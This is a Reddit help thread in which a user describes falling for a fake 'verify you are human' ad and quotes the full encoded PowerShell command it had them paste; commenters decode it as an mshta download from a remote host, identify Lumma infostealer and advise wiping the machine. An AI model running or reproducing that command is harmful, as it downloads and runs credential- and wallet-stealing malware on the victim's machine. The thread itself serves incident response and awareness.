r/PowerShell • u/chosenone333 • Aug 23 '24
Powershell script from ad need help
hello by mistake i was on a website that opened an ad that seemed like a human verification ,it said to verify press windows r ctrl v and enter then my power shell opened and the line was powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAHEAdQBlAHMAdABlAGQALQBmAGkAbABlAC4AYgAtAGMAZABuAC4AbgBlAHQALwBmAGwAYQByAGUAIgA=
I made a lapse in judgement from ultra fatigue So I need help please 🙏🏽 .
I ran tron script and immediately disconnected from the net , tron came back clear and luckily it’s my gaming rig so nothing of important on here and most accounts got 2fa although I still want to be sure and remove anything malicious without hopefully having to full wipe , can anyone help me see what damage this script has done ?
3
u/The82Ghost Aug 24 '24
I'd re-install the system. Changing passwords is no use if you're dealing with an infostealer, it will just steal the new passwords aswell.
1
u/chosenone333 Aug 29 '24
Changed all the passwords from a iPhone and haven’t logged back or even connects the pc in till I get this sorted
3
1
u/atheos42 Aug 24 '24
[removed] — view removed comment
2
u/atheos42 Aug 24 '24
# Reference: # https://learn.microsoft.com/en-us/powershell/scripting/samples/decode-powershell-command-from-a-running-process?view=powershell-7.4 $bytes = 'bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAHEAdQBlAHMAdABlAGQALQBmAGkAbABlAC4AYgAtAGMAZABuAC4AbgBlAHQALwBmAGwAYQByAGUAIgA=' # Encode the bytes to Base64 $commandBytes = [Convert]::FromBase64String($bytes) $decodedCommand = [System.Text.Encoding]::Unicode.GetString($commandBytes) # Output the Base64 encoded string Write-Output $decodedCommand3
u/JMejia5429 Aug 24 '24
that opens the following url -- https : // requested - file . b - cdn . net / flare (putting spaces to make sure folks dont just click it).
the exe it downloads, looks to check for a dialer and the last numbers called.
In any case, pretty confident this didn't do anything 'safe'. you can run antiviruses and hope it gets rid of it or best way -- wipe the pc and start fresh.
Lesson of the day, don't do / run random shit off the net.
1
9
u/[deleted] Aug 24 '24
Looks like you downloaded Lumma stealer there mate. It's a nasty little infostealer that targets credentials/session cookies in the browser, cypto wallet contents and credentials, and can install more malware like keyloggers.
To be safe i'd take inventory of all the passwords you have stored in the browser and sites you have logged into recently and reset the passwords for them ASAP. good to here you have 2fa but that won't protect you against stolen cookies. You could try to clean the system but i recommend a wipe and clean install of the OS to be certain.
I'll drop the malware analysis link for you, the malware was run 44 seconds in and i didn't do anything else with the file. Best of luck and try posting in a security/AV based subreddit next time
https://app.any.run/tasks/b02a4276-f26a-49ea-99cd-b2eb6a9e88d8